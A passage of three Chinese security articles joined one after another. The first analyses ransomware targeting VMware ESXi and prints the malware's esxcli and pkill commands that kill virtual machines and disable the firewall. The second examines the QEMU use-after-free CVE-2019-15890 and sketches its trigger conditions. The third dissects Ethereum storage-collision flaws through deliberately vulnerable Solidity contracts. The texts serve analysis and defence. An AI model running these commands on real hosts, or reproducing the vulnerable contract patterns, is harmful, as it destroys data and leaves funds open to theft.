从去年开始，IABs团队逐渐与勒索病毒一起进入公众的视野。IABs团队作为网络攻击地下产业的长期活跃参与者，通过在各大论坛出售主机权限来获取利益，它们将受害者主机的root权限出售给其他网络攻击从业者，由其他网络攻击者开展下一步的攻击活动，IABs团队并不直接参与攻击，这也减少了它们被其他执法机构追踪的风险。在以往的勒索攻击中，我们无法确定勒索组织是否是从IABs团队手中购买受害者主机权限，勒索组织与IABs团队合作这种模式可能早已出现，但是这种合作模式正在逐渐被各个勒索组织采用：据消息称，美国最大燃油管道勒索事件中的主角DarkSide在勒索美国石油管道运营商Colonial
Pipeline之前就曾在地下论坛发文寻找能够让其接触到市值4亿美元公司的IABs合作，如图6，美国燃油管道勒索事件是否有IABs团队参与，我们无从考证；另外，在地下论坛中，我们也观察到有多个IABs正在寻求勒索团队合作并出售vCenter/ESXi的Root权限，如图7。
图6. DarkSide寻求与IABs团队合作
图7. IABs团队寻求与勒索组织合作
# 4\. 针对vSphere勒索的原因分析
众多勒索组织开始将目标延伸到vSphere平台上，无非是为了加密更多更重要的数据以勒索更高额的赎金。针对vSphere平台的勒索攻击，能够使勒索组织像控制一间企业服务器的机房一样对数台服务器进行控制，攻击者对这些虚拟机的源文件进行加密，可能直接造成数据库被加密、对外提供服务中断甚至公司系统瘫痪，勒索组织往往开出更高额的赎金。如此釜底抽薪的勒索方式，让受害者企业/组织短时间难以应付，极大地增加了勒索攻击的成功率和收益。其实，随着互联网技术的革新，勒索组织一直在不断寻找新的攻击目标和攻击手段，勒索组织做出
“针对vSphere平台攻击” 的这种改变并非偶然，结合相关资料，我们将在本章对勒索组织的这种改变进行一个原因分析。
**背景条件：**
随着互联网技术的快速更新，网络用户量剧增，各个政府部门、组织和企业对计算资源和存储资源的需求骤增；云计算和虚拟技术的兴起让各大云服务提供商和虚拟化技术公司为各个政府部门、组织和企业提供了定制化资源服务和虚拟化解决方案以满足日常资源需求。VMware作为云服务和虚拟化领域的领头企业，其客户几乎涵盖所有领域；除此之外，各大云服务提供商也为其客户提供间接的VMware虚拟化服务，从图8
“2020年服务器虚拟化市场分布” 中可以看出，VMware已经成为虚拟化市场的绝对霸主。针对VMware
vSphere进行勒索可以拥有众多勒索对象，同时能够通过虚拟化平台vSphere控制企业/组织的大量数字资产，极大地提高了勒索的收益和成功率。
图8. 2020年服务器虚拟化解决方案的业务市场分布（来源：spiceworks）
**技术条件：** 2019年底和2020年，VMware分别发布安全通告修复了多个产品漏洞，其中VMware
ESXi的两个漏洞CVE-2019-5544和CVE-2020-3992将导致VMware
ESXi服务器上的远程代码执行，VMware已经对这两个漏洞进行了评估，并定级为严重，CVSSv3 评分 9.8。这两个漏洞将影响多个版本的VMware
vSphere用户，随后VMware提供修复补丁，但仍有大批客户因为各种原因并未对其使用的ESX/ESXi进行补丁，这为攻击者提供了便捷的入侵VMware
ESX/ESXi主机的方法和手段。
**外部条件：** 自2020年起，IABs也将其目标扩展到了VMware
vSphere平台上。对大部分勒索组织来说，与IABs合作是一项共赢的选择,因为从IABs手上购买ESX/ESXi主机权限的价格也仅仅只是赎金的极小部分，通过这种方式，他们能够省去大量的人力、时间、资源去获取ESX/ESXi主机的Root权限，直接通过购买的主机Root权限进行受害者主机登录，然后开始部署勒索软件进行勒索。同时，我们观察到有IABs（Initial
access
brokers）开始在地下黑客论坛上以250美金到500美金之间价格出售ESX/ESXi的Root权限，并展示出更多关于受害主机的信息来吸引客户购买，比如地区信息、权限信息、CPU信息、硬盘信息等，如图9所示，国内某用户的VMware
ESX主机的Root权限在地下黑客论坛被出售。
图9. IABs在地下论坛上售卖ESX权限
# 5\. 针对vSphere的勒索样本分析
自去年开始，各大勒索组织开始发布针对VMware
vSphere虚拟平台版本的勒索程序，已经有多家企业/组织遭到攻击并且损失惨重。在本小节中，我们将以ADLab对勒索家族的持续研究为基础，结合部分国外安全厂商对此类攻击活动的披露来对部分勒索组织的样本进行分析，同时结合实际攻击案例对此类攻击的攻击流程进行了总结。如图10，在实际场景中，ESX/ESXi主机上会部署多台虚拟机对普通用户提供基本服务，如果配置不当，普通用户能通过网络能访问ESX/ESXi主机，这就会给黑客提供可乘之机；通常情况下，黑客首先会在地下论坛中寻求指定版本的ESX/ESXi漏洞利用程序或root登录权限，当获取到漏洞利用程序或root登录权限后，黑客就能直接入侵ESX/ESXi主机并且在其中部署勒索软件对其中的虚拟机进行加密并勒索赎金。从图中可以看出，如果勒索攻击对象是云服务提供商/虚拟服务提供商的ESX/ESXi主机，那么该提供商的众多客户都将受到影响，大面积的企业用户主机将遭到勒索病毒感染，这将带来与今年美国IT管理软件制造商Kaseya遭到的供应链式勒索攻击相似的结果，而Kaseya的勒索攻击已经感染了超过100万个系统，超过1500家企业受到影响。
图10. 针对vSphere虚拟平台的勒索攻击场景
接下来，我们将对部分勒索组织的样本进行详细技术分析，通过横向比对，可以总结出这些针对VMware
vSphere虚拟平台勒索程序的执行特点：通常情况下，勒索软件首先会使用ESX/ESXi的esxcli指令查找虚拟机进程；然后，恶意程序会使用esxcli指令关闭虚拟机，这一步通常是为了防止对虚拟机文件进行加密时对虚拟机原文件造成破坏，从而导致加密失败；接下来，恶意程序将在对指定路径进行虚拟机相关文件搜索（通常包含虚拟机虚拟磁盘文件vmdk、虚拟机虚拟内存文件vmem、虚拟机页交换文件vswp，日志文件log、虚拟机快照文件vmsn等）；最后，恶意程序将对搜索到的虚拟机相关文件进行加密，同时告知受害者缴纳赎金。
## 5.1 DarkSide
DarkSide勒索软件最早于2020年8月被发现，是一支非常活跃的新兴勒索团伙。DarkSide组织自2020年8月开始频繁活动，并在今年5月攻击了美国最大的燃油管道公司Colonial
Pipeline，导致美国东部沿海主要城市输送油气的管道系统被迫下线，17个州和首都所在的华盛顿特区宣布进入紧急状态，引起了巨大的轰动和全球的关注。最终，Colonial
Pipeline支付了近75比特币（约合近500万美元）才使数据得以恢复，运输工作正常运行。同时我们也发现，DarkSide在去年就已经具备攻击ESXi的功能。
#### 样本技术分析
为了更好地加密虚拟机，DarkSide使用了许多ESXi上独有的esxcli命令，如在加密虚拟机前会使用esxcli命令来遍历出ESXi上正在运行的虚拟机。
命令: `esxcli --format-param=fields=="WorldID,DisplayName” vm process list`
图11. DarkSide使用esxcli命令遍历正在运行的虚拟机
并且使用esxli命令强制关闭正在运行的虚拟机，这么做的目的就是为了避免虚拟机文件在加密的时候遭到破坏。
命令：`esxcli vm process kill --type= force --world-id= <WorldNumber>`
图12. DarkSide使用esxcli命令强制关闭正在运行的虚拟机
除了以上命令，在DarkSide还用了许多esxcli命令，具体如下表所示：
**命令** | **含义**
---|---
**esxcli --formatter=csv --format-param=fields== "Device,DevfsPath” storage
core device list** | 列出当前在存储中注册的设备的Devfs路径
**esxcli --formatter=csv storage filesystem list** | 列出所有文件系统信息
**esxcli vsan debug vmdk list** | 列出所有vSan中VMDK文件的信息
**esxcli --format-param=fields== "Type,ObjectUUID,Configuration” vsan debug
object list** | 列出vSAN对象的UUID
为了能够快速的加密虚拟机文件，DarkSide设置加密路径起点为ESXi主机上虚拟机文件默认存放路径："/vmfs/volumes"。
图13. DarkSide加密起始路径
DarkSide通过遍历文件，并且判断文件后缀是否为vmdk（虚拟机虚拟磁盘文件），vmem（虚拟机虚拟内存文文件），vswp（虚拟机页交换文件），log（日志文件），vmsn（虚拟机快照文件）来决定是否进行加密，加密成功后会在原文件后缀后加入darkside。
图14. DarkSide针对的虚拟机文件后缀
在加密文件之前，为了避免加密一些无关重要的文件，DarkSide会对文件大小进行检查，判断是否小于配置文件中文件大小的最小值。
图15. DarkSide对文件大小进行判断
最后，DarkSide会留下勒索信警告受害者，并且在信中留下还原数据的方式以及交赎金的地址
图16. DarkSide的勒索信
## 5.2 REvil
REvil也被称为Sodinokibi，是一个臭名昭著的勒索团伙，其攻击最早可以追溯到2019年4月。该勒索团伙作案频繁，并曾攻击过多个大型公司如美国领先的视频传输提供商SeaChange
International、著名硬件和电子公司宏基公司、全球再生能源巨擘Invenergy公司、全球最大肉类供应商JBS公司。而在今年7月美国远程IT管理软件厂商Kaseya也遭受到了REvil的攻击，导致全球超过10000家的Kaseya客户，其中包括50%以上的全球100强IT管理服务提供商及各大龙头受到勒索攻击的风险。据称此次攻击是REvil有史以来规模最大的一次攻击，据其官网宣称，他们已经锁定了超过100万个系统，并向Kaseya索取70000000美元的赎金。而在今年5月，我们观察到REvil运营商在地下黑客论坛上发布了针对Vmware
ESXi的Linux版本。
#### 样本技术分析
为了避免虚拟机相关的文件受到不必要的损坏，REvil在加密前也同样会先关闭ESXi上正在运行的虚拟机，但与DarkSide不同的是REvil先使用pkill
-9的命令关闭与虚拟机相关的进程。
命令：`pkill -9 vmx-*`
图17. REvil使用pkill命令关闭与虚拟机相关的进程
然后REvil使用excli命令遍历出所有正在运行的ESXi虚拟机并且关闭它们，使用此命令会关闭存储在 /vmmfs/ 文件夹中的虚拟机磁盘 (VMDK)
文件，防止REvil对这些文件进行加密时因为被 ESXi 锁定而导致加密失败。
命令：`esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm
process list | awk -F "\"*,\"*" '{system("esxcli vm process kill --type=force
--world-id=" $1)}`
图18. REvil使用esxcli命令关闭虚拟机
与其他针对ESXi的勒索软件不同的是，REvil不会对虚拟机文件的后缀进行判断，而是对加密路径下所有的文件都进行加密，并判断该文件是否已经被加密了和是否具有RWX权限或者RW权限（如果具有这些权限，则这些文件是被系统保护的）来决定是否进行加密。
图19. REvil加密文件过程
最后，REvil留下勒索信警告受害者并且在信中留下还原数据的方式以及交赎金的地址。
图20. REvil的勒索信
## 5.3 HelloKitty
HelloKitty勒索软件攻击活动最早可以追溯到2020年，主要针对Windows系统。其在2021年2月攻击了CD Projekt
Red公司并声称窃取了该公司出品的“Cyberpunk 2077”、“Witcher 3”、“Gwent
”和其他游戏的源代码。而在今年7月，我们观察到该木马的Linux变体开始针对Vmware
ESXi进行攻击。其中，被攻击的目标包括意大利和荷兰的制药公司、一家德国制造商、一家澳大利亚提供工业自动化解决方案的公司以及美国一家医疗办公室和股票经纪人。在赎金方面，攻击者会因攻击目标公司的规模不同，而要求支付不同金额的赎金，其勒索的赎金最高可达1000万美金。
#### 样本技术分析
HelloKitty勒索软件首先会使用esxcli命令来遍历出当前受感染机器上正在运行的虚拟机进程，并尝试关闭这些虚拟机。为了避免虚拟机相关的文件遭到不必要的损坏，该病毒在加密文件前会先将虚拟机关闭。
该勒索软件首次关闭虚拟机，会使用软终止来结束该进程。
命令：`esxcli vm process kill -t=soft -w=%d`
如果仍有虚拟机正在运行，该病毒将会使用硬终止来结束该进程。
命令：`esxcli vm process kill -t=hard -w=%d`
如果还有虚拟机未被关闭，则会使用强制终止来结束该进程。
命令：`esxcli vm process kill -t=force -w=%d`
图21. HelloKitty勒索软件使用esxcli命令结束虚拟机进程
随后，HelloKitty病毒会遍历文件，并判断文件后缀是否为.vmdk（虚拟机虚拟磁盘文件）、.vmx（虚拟机配置文件）、.vmsd（虚拟机快照元素）、.vmsn（虚拟机快照文件）来加密与虚拟机相关的文件。
图22. HelloKitty勒索软件加密文件并对文件后缀进行判断
最后，每个加密文件都有一个相应的文件，扩展名为.README_TO_RESTORE，其中包含赎金记录。文本内容如下图所示。
图23. 赎金文本内容
## 5.4 BlackMatter
2021年7月，一个名为BlackMatter的新勒索软件组织正在购买企业网络的访问权限，同时声称其项目已将REvil和DarkSide的最佳功能融入其中。BlackMatter还表示，他们的勒索软件适用于多种不同的操作系统版本和架构，并以多种格式提供。包括支持安全模式的Windows变体（Windows
Server2003+x86/x64和Windows7+x86/x64）和支持NAS的Linux变体（ESXI5+、Ubuntu、Debian和CenOs），且这些变体在相同系统上均已测试成功。
#### 样本技术分析
BlackMatter在ESXI服务器上运行时，其首先使用esxcli命令列出所有正在运行的VMware虚拟机。
图24. BlackMatter使用esxcli命令列出所有正在运行的VMware虚拟机
再将正在运行的VMware虚拟机全部强行关闭。之所以这样做，是由于在加密文件之前如果没有正确的关闭虚拟机磁盘（VMDK）文件，则会导致数据的损坏。
图25. BlackMatter强制关闭ESXi上正在运行的VM虚拟机
接着，BlackMatter会获取当前系统所有正在运行的进程，并将这些进程强制结束。
图26. BlackMatter强制关闭所有正在运行的进程
同时，其会使用esxcli network firewall set –enabled 命令禁用ESXI主机的防火墙。
图27. BlackMatter使用excli命令禁用防火墙
接下来，判断文件系统，遍历其配置文件里（或给定的参数）所指定的路径目录下的所有文件。
图28. BlackMatter遍历指定路径下的所有文件
最后，并针对后缀名为vmdk（虚拟磁盘文件）、vmem、vswp、log等文件进行加密操作，生成并释放勒索信。
图29. BlackMatter加密文件的后缀
图30. BlackMatter勒索文本信息
# 6\. 总结与建议
针对虚拟化平台VMware vSphere的勒索攻击成为勒索组织的新型攻击方向，本文从多个角度对此类攻击进行了综合分析。针对虚拟化平台VMware
vSphere的勒索攻击可能会更加频繁：首先，攻击者对虚拟机管理平台的ESX/ESXi主机进行感染后可以对其中的数台虚拟机源文件进行加密，将直接影响受害企业/组织的多台应用服务器/数据库，这种方式控制了更加重要的企业/组织数字资产，能够勒索更高额的赎金并且大大提高成功率，这正是勒索组织的核心目的；其次，越来越多的黑客将目标转向了VMware
vSphere，相关的安全漏洞频频被发现，但许多客户由于各种原因限制并未能及时补丁，这也为勒索组织入侵到企业的ESX/ESXi主机提供了便利；另外，IABs团队在地下论坛中针对VMware
vSphere的活动也越加频繁，同时它们也在积极寻求与勒索组织进行合作，IABs团队能够提供专业ESX/ESXi主机的入侵服务，它与勒索组织的合作将会把针对vSphere的勒索攻击推上新一轮的高潮。
可以看出，随着互联网技术的不断革新和市场的变化，勒索组织也在不断扩展它们的攻击方向和寻求更有效的攻击手法，以便在勒索攻击中获取更高额的赎金同时大幅提高勒索的成功率。VMware
vSphere只是众多虚拟化平台的其中一个，只是由于它的市场庞大，成为了攻击者的首选目标；随着时间的推移，其他虚拟化平台如：Microsoft、Oracle和Red
Hat等很可能会成为攻击者的新目标，各大企业/组织应当注意提前做好针对性防御。针对vSphere虚拟平台的勒索攻击将对受害者企业带来难以估量的损失，我们将结合本文的分析和相关资料向vSphere用户提出下面几条针对性防御建议：
* 建议使用 TPM 2.0 芯片进行vSphere进行安全配置。
* 在物理服务器上启用UEFI安全启动功能，通过确保在引导中加载的所有代码都经过数字签名且未被篡改，从而加强操作系统的安全性。
* 禁止在ESX/ESXi 主机上执行自定义代码，保证ESX/ESXi主机拒绝执行任何未通过认证合作伙伴签名的 VIB 包安装的代码。
* 当vSphere平台相关的产品存在安全补丁发布时，积极参与系统及相关的虚拟化平台组件（vCenter服务器、ESX/ESXi主机、VMware工具等）的更新。
* 对虚拟机平台的管理账户使用高强度密码。
* 在内部网络中进行网络区域划分，将对外服务的主机和仅内部访问的主机进行分开管理，并且为虚拟平台管理员提供专用的vCenter服务器和ESX/ESXi管理接口以及专用的工作站。
* 配置集中式的记录日志，防止管理系统配置和环境遭到篡改。
* 尽可能高频率地进行系统备份，以便在遭到勒索攻击后能尽快地实现系统恢复。
* * * | 社区文章 |
# QEMU 虚拟机逃逸漏洞分析（CVE-2019-15890）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一.前言
CVE-2019-15890是QEMU （quick emulator）的SLIRP模块的UAF漏洞，目前未披露POC，这里针对它进行分析和构造测试POC。
## 二.背景知识
QEMU（quick emulator）是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化的（hardware
virtualization）开源托管虚拟机（VMM）。
QEMU内部网络分为两部分：
提供给客户的虚拟网络设备（例如，PCI网卡）。
与模拟NIC交互的网络后端（例如，将数据包放入主机的网络）。
SLIRP模块是与模拟NIC交互的网络后端，默认情况下，QEMU会为该guest虚拟机创建一个SLiRP用户网络后端和一个适当的虚拟网络设备。
## 三.漏洞成因与细节
### 1.漏洞位置
漏洞发生在/slirp/src/ip_input.c的ip_reass函数，SLIRP在接收数据包，处理IP分片的组合，修剪重叠的数据片段时，在line-303
free掉指针后，又在line-304继续引用，造成UAF漏洞。
### 2.代码逻辑和数据结构
通常发送的IP包可以采用分片机制，ip_ress函数就是SLIRP模块内对分片进行组合的函数，内部还会修剪分片重叠的数据片段。
结构ip是目前收到需要组合的IP分片(fragment)。
结构ip的内存载体是结构mbuf的成员m_ext或m_dat。
(一般使用mbuf->m_dat，当数据包过大时，会扩展内存，动态申请改用mbuf->m_ext，
mbuf->m_data是操作数据的目前位置，mbuf->m_len是操作数据的剩余长度。)
结构mbuf以链表方式存储索引，结构ipq是头节点结构。
### 3.路径分析
(1).在m_free函数内，我们可以选定在line-107处，free掉m->m_ext内存。
所以需m->m_flags & M_EXT为真，即mbuf需以扩展内存存储数据。
在slirp_input函数接收数据包后，在line-775处会对mbuf的空闲内存大小和数据包的总大小进行比较，关系为M_FREEROOM(m)<pkt_len+TCPIPHDR_DELTA+2。
当pkt_len>M_FREEROOM(m)-(TCPIPHDR_DELTA+2)时，会调用m_inc函数，在line-157处改用mbuf->m_ext扩展内存存储数据。
所以第一个数据包的总大小需>M_FREEROOM(m)-(TCPIPHDR_DELTA+2)。
(2).在ip_reass函数的line-269处，这里灵活一下，选择让第一个分片，进行后面的数据片段修剪，即变量q指向第一个IP分片。
所以第一个IP分片的ip->frag_off需大于第二个IP分片的ip->frag_off。
(3).在修剪数据的代码块，line-296处，往下有修改内存大小和从队列删除两条路径，满足一定关系时，走第二条路径，选择从队列删除第一个ip分片。
(变量q为第一个包，变量ip为第二个包)
所以ip->ip_len >= q->ipf_len + q->ipf_off – ip->ip_off的关系需成立。
(4).总结
A.一共发送两个IP分片，ID字段值一致，触发SLIRP的ip_reass函数。
B.第一个数据包的总大小需>M_FREEROOM(m)-(TCPIPHDR_DELTA+2)，即第一个IP分片的payload_len值>=0x5D0。
C.第一个IP分片的ip->frag_off需大于第二个IP分片的ip->frag_off。
D.满足关系ip->ip_len >= q->ipf_len + q->ipf_off – ip->ip_off。
### 4.POC构造
A.如下标记T4，两个分片的ID值为0x1122。
B.标记T1，第一IP分片的payload_len==0x5D0。
C.标记T2，第二IP分片的frag_off为0x5D0，第一IP包的frag_off为0x5D8。
D.标记T3，第二IP分片的payload_len==0x5D8。
### 5.触发效果
ip_deq函数从队列删除IP分片时，会引用free掉的内存。
触发前内存布局。
触发后内存布局。
qemu崩溃。
## 四.漏洞修复
漏洞的修复主要调换了m_free()和ip_deq()的位置。
补丁链接：
<https://gitlab.freedesktop.org/slirp/libslirp/commit/c59279437eda91841b9d26079c70b8a540d41204#558127ecfd507cb3b15211b6d51870316e30b841>
## 五.漏洞危害
## 六.参考文献
1.<https://zh.wikipedia.org/wiki/QEMU>
2.<https://wiki.qemu.org/Documentation/Networking>
3.<https://github.com/vishnudevtj/exploits/tree/master/qemu/CVE-2019-14378> | 社区文章 |
**Author : Kai Song(exp-sky)、hearmen、salt、sekaiwu of Tencent Security Xuanwu
Lab
来源：[腾讯安全玄武实验室](https://xlab.tencent.com/cn/2018/11/09/pay-attention-to-the-ethereum-hash-collision-problem-from-the-stealing-coins-incident/
"腾讯安全玄武实验室")**
### “盗币”
十一月六日，我们观察到以太坊上出现了这样一份[合约](https://etherscan.io/address/0x5170a14aa36245a8a9698f23444045bdc4522e0a#code
"合约")，经调查发现是某区块链安全厂商发布的一份让大家来“盗币”的合约。
pragma solidity ^0.4.21;
contract DVPgame {
ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;
constructor(address addr) payable{
token = ERC20(addr);
}
function (){
if(map.length>=uint256(msg.sender)){
require(map[uint256(msg.sender)]!=1);
}
if(token.balanceOf(this)==0){
//airdrop is over
selfdestruct(msg.sender);
}else{
token.safeTransfer(msg.sender,100);
if (map.length <= uint256(msg.sender)) {
map.length = uint256(msg.sender) + 1;
}
map[uint256(msg.sender)] = 1;
}
}
//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
function guess(uint256 x,uint256 blockNum) public payable {
require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
require(blockNum>block.number);
if(token.allowance(msg.sender,address(this))>0){
token.safeTransferFrom(msg.sender,address(this),1*(10**18));
}
if (map.length <= uint256(msg.sender)+x) {
map.length = uint256(msg.sender)+x + 1;
}
map[uint256(msg.sender)+x] = blockNum;
}
//Run a lottery
function lottery(uint256 x) public {
require(map[uint256(msg.sender)+x]!=0);
require(block.number > map[uint256(msg.sender)+x]);
require(block.blockhash(map[uint256(msg.sender)+x])!=0);
uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;
if (x == answer) {
token.safeTransfer(msg.sender,token.balanceOf(address(this)));
selfdestruct(msg.sender);
}
}
}
经过观察之后，我们在这个合约中，发现了我们之前研究的一个 EVM 存储的安全问题，即 EVM 存储中的 hash 碰撞问题。
首先，针对上面的合约，如果构造出 `x ==
uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000` 即可在
lottery 方法中获取到该合约中的以太币，但是这个 x 的值，只能通过不断的猜测去得到，并且概率微乎其微。
然后，我们发现在合约的 fallback 函数中，也存在一个 selfdestruct 函数可以帮助我们完成“盗币”任务，但是要求本合约地址在 token
合约中的余额为 0。
根据我们之前对于 EVM 存储的分析，我们发现在 guess 函数中存在对 map 类型数据任意偏移进行赋值
`map[uint256(msg.sender)+x] = blockNum;`，由于在 EVM 中，map 类型中数据存储的地址计算方式为
`address(map_data) = sha(key,slot)+offset`，这就造成了一个任意地址写的问题，如果我们能够覆盖到token
变量，就能向 token 写入我们构造的合约，保证 DVPgame 合约在我们构造合约中的余额为 0，这样就能执行 DVPgame 合约的
selfdestruct 函数完成“盗币”。
token 变量的地址为0，溢出之后可以达到这个值，即我们需要构造 `sha(msg.sender,slot)+x==2**256(溢出为0)`即可。
#### 深入分析
其实早在六月底的时候，经过对 ETH 以及其运行时环境 EVM 的初步研究，我们已经在合约层面和虚拟机层面分别发现了一些问题，其中变量覆盖以及Hash
碰撞问题是非常典型的两个例子。
### 变量覆盖
在某些合约中，我们发现在函数内部对 struct 类型的临时变量进行修改，会在某些情况下覆盖已有的全局变量。
pragma solidity ^0.4.23;
contract Locked {
bool public unlocked = false;
struct NameRecord {
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord;
mapping(bytes32 => address) public resolve;
function register(bytes32 _name, address _mappedAddress) public {
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked);
}
}
合约的源码如上面所示，在正常情况下，由于合约并没有提供修改 unlocked
的接口，因此不太可能达到修改它的目的。但是实际上我们在测试中发现，只要调用合约的 register 方法就可以修改 unlocked。
### Hash 碰撞
经过对 EVM 的存储结构分析，我们发现 EVM 的设计思路中，在其存储某些复杂变量时可能发生潜在的 hash 碰撞，覆盖已有变量，产生不可预知的问题。
pragma solidity ^0.4.23;
contract Project
{
mapping(address => uint) public balances; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
uint[] stateVar;
function Resolve() returns (bytes32){
balances[msg.sender] = 10000000;
return sha3(bytes32(msg.sender),bytes32(0));
}
function Resize(uint i){
stateVar.length = i;
}
function Rewrite(uint i){
stateVar[i] = 0x10adbeef;
}
}
上面的代码就存在类似的 hash 碰撞问题。查看合约源代码可以看到 balances 字段只能通过 Reslove 接口进行访问，正常情况下 balance
中存放的值是无法被修改的。但是在这个合约中，调用函数 Rewrite 对 stateVar 进行操作时有可能覆盖掉 balances 中的数据
### 背景分析
在 EVM 中存储有三种方式，分别是 memory、storage 以及 stack。
1. memory : 内存，生命周期仅为整个方法执行期间，函数调用后回收，因为仅保存临时变量，故GAS开销很小
2. storage : 永久储存在区块链中，由于会永久保存合约状态变量，故GAS开销也最大
3. stack : 存放部分局部值类型变量，几乎免费使用的内存，但有数量限制
首先我们分析一下各种对象结构在 EVM 中的存储和访问情况
#### MAP
首先分析 map 的存储，
struct NameRecord {
bytes32 name;
address mappedAddress;
}
mapping(bytes32 => address) public resolve;
function register(bytes32 _name, address _mappedAddress) public {
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
}
}
我们在调试 storage 中 map 结构时发现，map 中数据的存储地址其实是 map.key 以及 map 所在位置 map_slot 二者共同的
hash 值，这个值是一个 uint256。即
address(map_data) = sha(key,slot)
并且我们同时发现，如果 map 中存储的数据是一个结构体，则会将结构体中的成员分别依次顺序存入 storage 中，存储的位置为 sha(key,slot)
+ offset，即是直接将成员在结构体中的偏移与之前计算的 hash 值相加作为存储位置。
这种 hash + offset 的 struct 存储方式会直接导致 sha3 算法的 hash 失去意义，在某些情况下产生
`sha(key1,slot) + offset == sha(key2,slot)` ，即 hash 碰撞。
#### ARRAY
接下来我们看一下 Array 的情况
调试中发现全局变量的一个定长 Array 是按照 index 顺序排列在 storage 中的。
如果我们使用 new 关键字申请一个变长数组，查看其运行时存储情况
function GetSome() returns(uint){
stateVar = new uint[](2);
stateVar[1] = 0x10adbeef;
//stateVar = [1,2,4,5,6]; // 这种方式和 new 是一样的
return stateVar[1];
}
调试中发现如果是一个变长数组，数组成员的存储位置就是根据 hash 值来选定的了, 数组的存储位置为
sha3(address(array_object))+index。数组本身的 slot 中所存放的只是数组的长度而已，这样也就很好理解为什么存放在
storage 中的变长数组可以通过调整 length 属性来自增。
变长数组仍依照 hash + offset 的方式存储。也有可能出现 hash 碰撞的问题。
#### ARRAY + STRUCT
如果数组和结构体组合起来，那么数据在 storage 中的索引将如何确定呢
struct Person {
address[] addr;
uint funds;
}
mapping(address => Person) public people;
function f() {
Person p;
p.addr = [0xca35b7d915458ef540ade6068dfe2f44e8fa733c,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c];
p.funds = 0x10af;
people[msg.sender] = p;
}
Person 类型的对象 p 第一个成员是一个动态数组 addr，存储 p 对象时，首先在 map 中存储动态数组：
storage[hash(msg_sender,people_slot)] = storage[p+slot]
接着依次存储动态数组内容:
storage[hash(hash(msg_sender,people_slot))] = storage[hash(p_slot)]; storage[hash(hash(msg_sender,people_slot))+1] = storage[hash(p_slot)+1];
最后存储 funds：
storage[hash(msg_sender,people_slot)+1]
同理，数组中的结构体存储也是类似。
### 问题分析
#### 变量覆盖
pragma solidity ^0.4.23;
contract Locked {
bool public unlocked = false;
struct NameRecord {
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord;
mapping(bytes32 => address) public resolve;
function register(bytes32 _name, address _mappedAddress) public {
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked);
}
}
本合约中 unlocked 变量存储在 storage 中偏移为1 的位置。而在调试中发现 newRecord 对象在 storage 部分的索引位置也是
0 ，和全局 unlocked 相重叠，因此访问 newRecord 的时候也会顺便修改到 unlocked。
调试中我们发现所有的临时变量都是从 storage 的 0 位置开始存储的，如果我们多设置几个临时变量，会发现在函数开始选定 slot
时，所有的临时变量对应的 slot 值都是 0。
#### 成因分析
我们下载 solidity
编译器的源码进行查看，分析这里出现问题的原因。源码可在[这里](https://github.com/ethereum/solidity "这里")
找到，直接使用 cmake
编译源码即可，[编译教程](http://solidity.readthedocs.io/en/v0.4.24/installing-solidity.html "编译教程")。 solidity 的源码需要引用 boost 库，如果之前没有安装的话需要先安装
boost。编译的过程不再赘述，最终会生成三个可执行文件 （在 Windows
上的编译会有点问题，依赖的头文件没办法自动加入工程，需要手动添加，并且会还有一些字符表示的问题）
* solc\solc
* lllc\lllc
* test\soltest
solc 可以将 sol 源码编译成 EVM 可以运行的 bytecode
调试 Solc ，查看其中对于 struct 作为临时变量时的编译情况
contract Project
{
uint a= 12345678;
struct Leak{
uint s1;
}
function f(uint i) returns(uint) {
Leak l;
return l.s1;
}
}
关键代码调用栈如下
> solc.exe!dev::solidity::ContractCompiler::appendStackVariableInitialisation(const dev::solidity::VariableDeclaration & _variable) Line 951 C++
solc.exe!dev::solidity::ContractCompiler::visit(const dev::solidity::FunctionDefinition & _function) Line 445 C++
solc.exe!dev::solidity::FunctionDefinition::accept(dev::solidity::ASTConstVisitor & _visitor) Line 206 C++
solc.exe!dev::solidity::ContractCompiler::appendMissingFunctions() Line 870 C++
solc.exe!dev::solidity::ContractCompiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts) Line 75 C++
solc.exe!dev::solidity::Compiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts, const std::vector<unsigned char,std::allocator<unsigned char> > & _metadata) Line 39 C++
solc.exe!dev::solidity::CompilerStack::compileContract(const dev::solidity::ContractDefinition & _contract, std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _compiledContracts) Line 730 C++
solc.exe!dev::solidity::CompilerStack::compile() Line 309 C++
solc.exe!dev::solidity::CommandLineInterface::processInput() Line 837 C++
solc.exe!main(int argc, char * * argv) Line 59 C++
关键函数为 appendStackVariableInitialisation，可以看到这里调用 pushZeroValue 记录临时变量信息，如果函数发现
